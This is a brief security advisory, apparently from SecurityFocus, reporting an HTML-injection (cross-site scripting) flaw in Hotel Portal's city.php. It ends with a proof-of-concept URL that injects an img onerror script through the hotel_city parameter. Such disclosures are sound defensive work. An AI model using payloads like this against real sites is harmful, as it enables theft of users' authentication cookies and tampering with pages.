source: https://www.securityfocus.com/bid/49297/info
Hotel Portal is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied data.
Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible.
http://www.example.com/city.php?hotel_city=%22%2F%3E%3C%2Fa%3E%3C%2F%3E%3Cimg+src%3D1.gif+onerror%3Dalert%281%29%3E&dayfrom=23&monthfrom=8&yearfrom=2011&dayback=24&monthback=8&yearback=2011&guest=1&rooms=1&hotel_stars=&pricefrom=0&pricetill=250&B1=Search